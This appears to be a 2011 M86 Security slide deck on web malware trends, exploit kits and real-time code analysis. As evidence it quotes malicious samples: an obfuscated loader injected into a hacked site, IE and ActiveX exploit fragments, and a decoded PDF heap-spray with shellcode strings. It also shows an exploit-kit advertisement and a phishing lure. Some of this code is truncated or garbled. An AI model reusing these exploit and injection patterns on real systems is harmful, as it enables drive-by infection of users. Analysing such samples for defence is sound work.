

# Current Trends in Web Security Attacks and Best Practices to Stop Them




Presented by  
**Terry Leung**  
大中華區技術顧問

July, 2011

# Agenda

- Evolution of Web Threats & Crimeware
- Detailed Analysis of URL Filtering and AV Scanning capabilities
- How a Legitimate Site is Hacked to Serve Malware
- How Dynamic Code is Executed
- Exploiting Known Vulnerabilities
- Advantages of Real-Time Code Analysis



# Evolution of the Web Threat

Malware first distributed & AV Scanning used to detect

URL Filtering Launched to control end-user Internet Productivity

Malware Shifts to be distributed through the Web – URL Filtering used to block well known Malware sites

Hackers move to infect Legitimate sites



Web Reputation launched to detect the Hackers Websites



Real-time Code Analysis launched to address the new dynamic threat and legitimate site infection

# Web Statistics

## World Malware Map



Where is most malicious code being hosted?



Geo-location of Malicious Code Hosted on Servers in the First Half of 2011



# Web Crimeware: There's an App for That!



A screenshot of a forum profile page for 'Fragus-support'. The profile picture is a black square with a white triangle and the word 'FRAGUS' below it. The username 'Fragus-support' is at the top. Below the profile are two posts: one from 'Fragus v1.0 - a bunch of exploits' and another from 'Fragus v1.2 - a bunch of exploits'. The second post includes a link to a PDF file. At the bottom, there's a section for screenshots and a note about screenshots of the admin panel.

**INTRODUCE YOUR BUSINESS WITH  
SUPPORT FROM RUSSIA**

## HOW TO BUY

### SCREENSHOTS

Product info page

## information

YES Exploit System v. 2.x

We are proud to present a new version-line of our product - "YES Exploit System". It's the most effective and reliable exploit pack from Russian blackhat community and it's working very successful for a long time. There is excellent quality and good support - be sure - many people trust us.

**Undetectable** for AV-scanners and doesn't crash browsers. Stable free av-clearing procedure every two weeks for licensed users.

Any unexperienced user can work with YES-Exploit system - just read a manual in pack.

It includes the following mod-exploits:  
MS09-002, Collab.collectmailfilter, Collab.getlist, MS09-002, DirectShow(MS09-002), MSAC.Addob, XML Parsing, Spreadsheet, WMICoder, fontTags, TN3270, compareTo, JNObject, and a few other.

**Small overview :**

- Friendly architecture for plugins and modules.
- Blocking of IP, cookies, exploited IRs.
- Design for all platforms.
- Integrated encryption of exploits, "on-the-fly" [ you may choose one from 3 ]
- "Detector" exploit switch-off function to save your traffic if some exploit has been detected by AV.
- different encryption for PDF-out.

send message

10Q 5654-9429

# Top 10 Most Popular Exploit Kits


In addition to tracking the most-observed vulnerabilities in the wild, we track the most popular exploit kits observed in the wild:

EXPLOIT/TOOLKITS	2H 2010	+/-
1. Neosploit	7	↑6
2. Phoenix	2	-
3. Blackhole	-	-
4. Incognito	-	-
5. Eleonore	1	↓4
6. Bleeding Life	-	-
7. SEO Sploit	8	↑1
8. CrimePack	-	-
9. Intoxicated	-	-
10. Siberia	-	-

Source: M86 Security Lab Report 1H2011





# Cybercrime Has Eclipsed the Security Market



Sources: Detica report, 2011; OECD, IDC, 2004, 2010, FBI/IC3 cybercrime statistics, 2011, FBI 2005

# Web 2.0: Creating a Fertile Ground for Attacks



# Web is the Primary Attack Vector


92%

Malware attacks come from the Web

Result:

75%

Organizations hit by Web attack in 2010



# Malware Gap

## *Left by Legacy Malware Technologies*



**60% Malware Gap**

### What Has Changed?


- Malware has become more:
- Dynamic
- Prolific
- Stealth
- Targeted

**40% Covered by Legacy Security Technologies**

Source: M86 Security Labs Testing, 2010

# URL Filtering

- 15,000 live & active URL's run through a leading URL filtering list as they were received
  - 2.8% categorized as Spyware/Malware
  - 33.8% categorized as legitimate sites
  - 63.4% un-categorized



# AV Scanning


- 15,000 live & active URL's run through three leading AV Scanners as they were received
  - 39% deemed malicious
  - 61% deemed safe



# AV Scanning Scalability

- How much longer can this technology be effective?

Total Number of Unique Samples in AV-Test.org's Malware Collection




# How a Legitimate Site is Hacked to Serve Malware




# The Victim

- Site launched in 1995
- Based in the US
- Never before served malicious code
- Deals with a very respectable topic
- Site infected for only a short period of time (Days)



# The Infection

```
</tr>
<tr>
  <td align="center" valign="middle" bgcolor="#990000" class="finePrint"><a href="http://www.designsbytracy.com" target="_blank">DesignsbyTracy.com</a></td>
  <td align="center" valign="middle" bgcolor="#990000" class="finePrintwhite"><p>Copyright &copy; 2005 by Disabled Sports USA. All rights reserved.<br>Content may not be reprinted in part or in whole without written permission from DS/USA. </p></td>
</tr>
</table>
<map name="Map">
  <area shape="rect" coords="154,12,203,32" href="index.html" alt="Link to Home page">
  <area shape="rect" coords="226,11,287,30" href="dsusasitemap.html" alt="Site Map">
  <area shape="rect" coords="311,11,472,29" href="VisualImpairment.html" alt="Link to Visual Impairment Info">
  <area shape="rect" coords="495,11,571,29" href="mailto:information@dsusa.org" alt="Contact Us - email link">
</map>
</BODY>
<!-- InstanceEnd --></HTML>
<script>
var Vg='a06d04937ccdc754e9ebc1c93e37da1309ac8e3c68746d6c3e0a3c626f64793e3c6469762069643d224469764944223e783c2f6469763e0a3c736372
var HJN = '';
var q = Vg.slice ( 38, 14236 );
for ( K = 38 ; K < 14236 ; K += 2 )
{
    HJN += '%' + Vg.slice ( K, K + 2 );
}
document.write(unescape(HJN));
</script>
<!--sd313qwoiu92-->
```



Obfuscated Code



# The URL Filtering Answer



Web Pa

The page you  
This page is on  
Last Time Rab

If you feel this:

If you feel this:

Tools & Pol

Overview

SiteLookup

Support Web

Product Upd

Websense II  
and Service

SurfControl I  
and Service

Database Pr  
Changes

Websense S  
Requirements

Version Sup  
End of Life P

Training &  
Certification

**McAfee TrustedSource™**

Home TrustedSource Intelligence Feedback Product Resources Tools Threats and Trends About

Create Account | Log in | What is TrustedSource? | Help | Log Out

Feedback - Custom URL Tracking System - Check Single URLs

**Check Single URLs**

McAfee® provides an online tool that enables you to check if a site is categorized within various versions of the McAfee® TrustedSource database or the McAfee® URL Filter database. After you check a URL, this tool also allows you to suggest an alternative categorization for a site.

Please select the product you are using. Selecting the appropriate product will provide the correct categorization information to be displayed for you.

Select McAfee® TrustedSource WebSense

Please type in a URL to look up the categorization.

http://cnn.com

**Categorize**

Categories listed in URL Filter database selected "2.1.7.1"

**SUGGESTED CATEGORIES**

**Category** Category Reputation

**Categorize URLs - Sports** **Normal Risk**

To suggest changes you may pick up to 3 categories which you feel are a more accurate reflection of the risk and content for this site.

If specific concerns or questions on the reputation - please submit an email to: [trustedsource@mc.com](mailto:trustedsource@mc.com). Please let the info you are requesting about, for its current reputation, and why you disagree with it.


**Custom categorization suggestion**



**M86**  
SECURITY

# How about Web Reputation?

- Site launched in 1995
- Based in the US
- Never before served malicious code
- Deals with a very respectable topic
- Site infected for only a short period of time (Days)



# AV Scanners, Web Reputation...What will work???

```
function MD2C() {
    var t = new Array('{BD96C5'+ '56-65A3-11'+'D0-983A-00C04FC'+'29E30}', '{BD96C'+ '556-65A3-11'+'D
D4A21'+'0617116}', '{0006F'+ '033-0000-0000-C000-000000'+'000046}', '{0006'+ 'F03A-0000-0000-C000
dc1fa'+'91d2fc3}', '{6414'+ '512B-B978-451D-A0D8-FCFDF3'+'3E833C}', '{7F5B'+ '7F63-F06F-4331-8A26
09FCD1D'+'B0766}', '{639F'+ '725F-1B2D-48'+'31-A9FD-87484'+'7682010}', '{BA018'+ '599-1DB3-44f'+'25F5A1'+'1FAB19}', '{E8C'+ 'CCDDF-CA28-496b-B'+'050-6C07C962'+'476B}', null);
    var v = new Array(null, null, null);
    var i = 0;

    function ok() {
        o1=document.createElement("tbody");
        o1.click;
        var o2 = o1.cloneNode();
        o1.clearAttributes();
        o1=null; CollectGarbage();
        for(var x=0;x<a1.length;x++) a1[x].src=s1;
        o2.click;
    }
}
```

- Any decent Web security solution should block these commands
- Newer, advanced AV Scanners using heuristics should catch the de-obfuscated commands
- How about Web Crawling techniques?



# Real-Time Code Analysis

<b>Block Reason</b>	This page (or part of it) has been blocked because it attempts to exploit an application level vulnerability. Transaction ID is 488188760FB407004876.
<b>Content Size</b>	39841
<b>Direction</b>	Incoming
<b>File name</b>	Cache.aspx
<b>Security Rule Name</b>	Block Application Level Vulnerabilities

## Behavior Profile (Script)

Vulnerability Anti.dote Profile

[Cloned DOM Object Malformed Reference Vulnerability](#)

[Office Web Components Active Script Execution Vulnerability](#)

[IE Self-Executing HTML Arbitrary Code Execution Vulnerability](#)

[IE Shell.Application Object Script Execution Vulnerability](#)

[IE RDS ActiveX Vulnerability](#)

[RDS Cross Zone Scripting Vulnerability](#)

[IE WMIScriptUtils createObject vulnerability](#)

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[IE WMIScriptUtils createObject vulnerability](#)

- Rules are part of the default rule-set
- No updates would have been required to catch this infected website



# How Dynamic Malicious Code is Executed



# Dynamic Malicious Code

- Specifically designed to thwart signatures
  - Example of different malicious code dynamically created at run-time for various client requests
  - Each sample would need a different static signature to match
  - These samples are used only once

# Effectiveness of AV Scanners

- Submitted sample to Virus total, a service that runs all major AV products
- 6 out of 41 vendors deemed the sample as malicious at time of testing

Current status: finished Result: 6/41 (14.63%)			
Compact			
Antivirus	Version	Last Update	Result
a-squared	4.5.0.50	2010.02.21	-
AhnLab-V3	5.0.0.2	2010.02.20	-
AntiVir	8.2.1.170	2010.02.19	-
Antiy-AVL	2.0.3.7	2010.02.19	-
Authentium	5.2.0.5	2010.02.20	-
Avast	4.8.1351.0	2010.02.21	JS:Downloader-LD
AVG	9.0.0.730	2010.02.21	JS/Downloader.Agent
BitDefender	7.2	2010.02.21	-
CAT-QuickHeal	10.00	2010.02.19	-
ClamAV	0.96.0.0-git	2010.02.21	-
Comodo	4013	2010.02.21	TrojWare.JS.Obfuscated.-CG
DrWeb	5.0.1.12222	2010.02.21	-
eSafe	7.0.17.0	2010.02.21	-
eTrust-Vet	35.2.7315	2010.02.20	-
F-Prot	4.5.1.85	2010.02.20	JS/Payne.IX.gen
F-Secure	9.0.15370.0	2010.02.19	-
Fortinet	4.0.14.0	2010.02.21	-
GData	19	2010.02.21	JS:Downloader-LD
Ikarus	T3.1.1.80.0	2010.02.21	-
Jiangmin	13.0.900	2010.02.21	-
K7AntiVirus	7.10.979	2010.02.20	-
Kaspersky	7.0.0.125	2010.02.17	Exploit.JS.Agent.axj
McAfee	5898	2010.02.20	-
McAfee+Artemis	5898	2010.02.20	-
McAfee-GW-Edition	6.8.5	2010.02.19	-
Microsoft	1.5406	2010.02.21	-
NOD32	4684	2010.02.21	-
Norman	6.04.08	2010.02.21	-
nProtect	2009.1.8.0	2010.02.21	-
Panda	10.0.2.2	2010.02.21	-
PCTools	7.0.3.5	2010.02.21	-
Prevx	3.0	2010.02.21	-
Rising	22.34.01.03	2010.02.11	-
Sophos	4.50.0	2010.02.21	-
Sunbelt	5690	2010.02.20	-
Symantec	20091.2.0.41	2010.02.21	-
TheHacker	6.5.1.5.202	2010.02.21	-
TrendMicro	9.120.0.1004	2010.02.21	-
VBA32	3.12.12.2	2010.02.21	-
ViRobot	2010.2.19.2194	2010.02.19	-
VirusBuster	5.0.27.0	2010.02.21	-



# Real-Time Code Analysis

- RTCA able to de-obfuscate and analyze the intent of each sample as it was being downloaded by the user [and analyze the intent]
- Demonstrates the importance of real-time scanning of the actual content users are accessing, when they access it
- De-obfuscated code



```
if(dfec=='[object]'){
  for(imnt in vgzz){
    try{
      dfec=new ActiveXObject('snpvw.Snapshot Viewer Control.1');
      var oakve=vgzz[imnt];
      dfec.Zoom=0;
      dfec.ShowNavigationButtons=false;
      dfec.AllowContextMenu=false;
      dfec.SnapshotPath='http://';
      dfec.CompressedPath=oakve;
      dfec.PrintSnapshot();
    }
  }
}
```

- Default rule that blocks the exploit



The screenshot shows a software interface for real-time code analysis. At the top, there is a code editor window displaying de-obfuscated JavaScript. Below the code editor is a 'Behavior Profile (Script)' window. This window lists several vulnerability profiles: 'Microsoft Access Snapshot Viewer ActiveX Control Vulnerability', 'Microsoft Visual Studio (Msmask32.ocx) ActiveX Vulnerability', 'Masked Edit Control Memory Corruption Vulnerability (VBasic)', and 'IE Self-Executing HTML Arbitrary Code Execution Vulnerability'. Underneath these, there is a 'Default Profile - Script Behavior' section with a single entry: 'File Write'. A red arrow points from the third bullet point in the list above to this 'Behavior Profile (Script)' window.




# Exploiting Known Vulnerabilities



# Zero-Day Vulnerabilities

- Significant because of the “Window of Vulnerability” that leaves a user completely unprotected from an attack exploiting this vulnerability
- Chart below shows user is totally unprotected for almost to 40% of the time during the latter half of 2009
- This assumes users are constantly updating!



# Top 15 Most-observed Vulnerabilities

During the first half of 2011, anonymous feedback on observed threats from M86 filtering installations showed most threats were based on the following vulnerabilities:

VULNERABILITY	DISCLOSED	PATCHED	2H 2010	+/-
1. Microsoft Internet Explorer RDS ActiveX	2006	2006	1	-
2. Office Web Components Active Script Execution	2002	2002	2	-
3. Adobe Reader util.printf() JavaScript Func() Stack Overflow	2008	2008	7	↑4
4. Adobe Acrobat and Adobe Reader CollectEmailInfo	2007	2008	5	↑1
5. Adobe Reader media.newPlayer	2009	2009	10	↑5
6. Adobe Reader GetIcon JavaScript Method Buffer Overflow	2009	2009	6	-
7. Internet Explorer Table Style Invalid Attributes	2010	2010	-	-
8. Adobe Reader javascript this.spell.customDictionaryOpen	2009	2009	-	-
9. Adobe Reader getAnnots() Javascript Function Remote Code Execution	2009	2009	-	-
10. Java WebStart Arbitrary Command Line Injection	2010	2010	15	5
11. Java Plugin Web Start Parameter	2010	2010	-	-
12. Microsoft Internet Explorer Deleted Object Event Handling	2010	2010	8	↓4
13. Real Player IERPCtl Remote Code Execution	2007	2007	4	↓9
14. Microsoft Video Streaming (DirectShow) ActiveX	2007	2009	3	↓11
15. Microsoft IE STYLE Object Invalid Pointer Reference	2009	2009	14	↓1

Source: M86 Security Lab Report 1H2011



# The Vulnerability

## Adobe Reader/Acrobat "Doc.media.newPlayer()" Memory Corruption

**Secunia Advisory:** SA37690

**Release Date:** 2009-12-15

**Last Update:** 2009-12-16

**Popularity:** 6,490 views

**Critical:**



[Extremely critical](#)

**Impact:** System access

**Where:** From remote

**Solution Status:** Vendor Workaround

**Software:** [Adobe Acrobat 3D 8.x](#)

[Adobe Acrobat 8 Professional](#)

[Adobe Acrobat 8.x](#)

[Adobe Acrobat 9.x](#)

[Adobe Reader 8.x](#)

[Adobe Reader 9.x](#)

### **Description:**


A vulnerability has been reported in Adobe Reader and Acrobat, which can be exploited by malicious people to compromise a user's system.

The vulnerability is caused due to an unspecified error in the implementation of the "Doc.media.newPlayer()" JavaScript method. This can be exploited to corrupt memory and execute arbitrary code via a specially crafted PDF file.


**NOTE:** This vulnerability is currently being actively exploited.



On Tuesday 15 December 2009, the security community becomes aware of a new zero-day Adobe vulnerability that is being exploited in the wild



# The Infection



Email Alert Received (on xxxxxx@mail.com) ✓

[Card Transactions](#)

(Card 4XXX XXXX XXXX XXXX Its protect your private information, part of the card number is hidden with X's)

determined that your card  
r security reasons the  
arefully review electronic

## Download Card Transactions

### Instructions:

- download and carefully review electronic report for your VISA card.

Card	Card Statement
4000 0000 0000 0000	

If you've lost your Visa card, you can contact us or your bank - we can help you. whe

### Further information

You can tell us your lost or stolen card details, and we'll arrange for your card to be

The option for card replacement and emergency cash displacement will depend on  
issued your card.


To assist our customer service, please have the following information on hand:

- The name of the bank or organisation that issued your card
- The country where it was issued to you
- The type of Visa card
- The 16-digit number on the card - it is vital that you have a record of this number, kept separate  
from your card

[/transactions.php?](#)  
[3541897122632472453346726658](http://3541897122632472453346726658)

### Opening pdf.pdf

You have chosen to open



pdf.pdf

which is a: PDF Complete Document  
from: http://audiodrv7.com

What should Firefox do with this file?

Open with

PDF Vista (default)

Save File



Do this automatically for files like this from now on.

OK

Cancel

M86  
SECURITY


# Day 3 (18 Dec 09): Detection by Conventional AV



# Real-Time Content Analysis

- Looking at how the real-time code analysis and behavioral analysis techniques scan the malicious PDF file shows us how these attacks are detected before they are even used by the attackers.
- Below is the encoded JavaScript stream from the infected PDF file:

```
stream
x□uRMo >@DLE=_'□ETX-_X%FS^_, u"
□Q?□^VS?@mp□"„`@ESC?♂wSYN?|H-#ag_<TC<>)□-„,□`LnvQ8RS SO□+f#‡
nw"„"„;‡-nCANPi □BELBEL|4]
BEL□□j=i□U%[„. USETEX] □?p<F. □ב' _□<n&Hfc&, z_i□\og%W□pA" SOHn×My□Ng . Sp□`Lme%□<•/. p ]EM*>; [UA" A%"/" l-? "i:2
+W „„4u'□noj€3$1"C.eSO2S
(□EM8SUBKg^ENQ6ES%SO („%*□L^BStN) 8KENQD, 70%`DLE3K0EN, :*BEL□9
&g8>ESCK ;'ENQnL□; 'e „N?T·□1DLE) n@kFSs-n`PT; FEDC2sDLEZ (DLEFXDLE□CAN DLE
SF□ETXshACK .p. I9 „„FFDy) T0 SONAK8..._. \.) \DC4; <e ,\nn, RS9MEM .
k) □p'D□□, 3€'F□μ'a° SYN□' DC4$uETXa7 .DLE□p□ -□A"; 9±#('SUB□O .FSETEXa□ב" « '8 □נ" (□10□ETBnDLE‡, SUB-□IN#31<
endstream
endobj
111112 0 obj<</Filter/FlateDecode/Length 178>>stream
x□=□ASO, 0 DC4Dp&□ג/□ MeER,f{TC@VTי\P[h[STXH,„"«?□&ofh• SYNH~n<gDVT□„SYNvSTXu~QJvFSf□^--_CT>A| _nDLE=ENUI
KX
endstream
```



# Real-Time Content Analysis - cont.

- Real-time decoding reveals embedded JavaScript

```
yclerati2=new Array();
var fzfpas = 'ARG9090ARG9090'.replace(/ARG/g, '%u');
var imkujn2 = 'Z54EB2758BZ8B3CZ3574ZX378Z56F5Z768BZX32XZ33F5Z49C9ZAD41ZDB33ZX36Z14BE23828Z74I
fzfpas=unescape(fzfpas);
imkujn2=unescape(imkujn2);endstream
endobj
111112 0 obj<</Filter/FlateDecode/Length 178>>stream
while(fzfpas.length <= 0x8000){fzfpas+=fzfpas;}
fzfpas=fzfpas.substr(0,0x8000 - imkujn2.length);
for(gofmeq=0;gofmeq<xsbrgm;gofmeq++){yclerati2[gofmeq]=fzfpas + imkujn2;}
if(xsbrgm) (dwdsf1());dwdsf1();try {this.media.newPlayer(null);} catch(e) {}dwdsf1();}endstream
endobj
trailer<</Root 1 0 R /Size 11>>
```

- This was detected using the behavioral capabilities of the engine as the actual vulnerability itself is not yet discovered

Incoming  
Incoming

**Behavior Profile (Script)**


Default Profile - Script Behavior

[Generic Shellcode detection](#)  
[Suspected Malicious String Content](#)

**Rule Action**

Block  
Blocked


- Default behavioral rule that detects the intent of the script



# The Advantages of Real-Time Code Analysis




# Real-time Code Analysis



# Combination of Technologies

1. **Anti-virus scanning** minimizes latency because it blocks *known* malware fast.
2. **URL filtering** quickly ensures user productivity by monitoring and managing where users go online
3. **Real-time code analysis** stops new and dynamic Web-based threats that typically aren't detected by the anti-virus or URL filtering methods

**Effective  
Security Strategy:  
Multi-Layered  
Approach**




## Questions?

New Labs report now available at:-  
[www.m86security.com](http://www.m86security.com)

# How Are Your Current Defences? A Simple Test

- If you want to find out if you are part of the problem:
  - Run M86 proxy comparator



# M86 Overview

- Leading Vendor of Web and Email Security Solutions
- The industry's only proactive Web malware provider
- Over 25,000 global customers and 26 million users
- Gartner Visionary for Web and Email Security
- SC Magazine Innovator 2010
- Top quartile of 2010 Inc. 5000

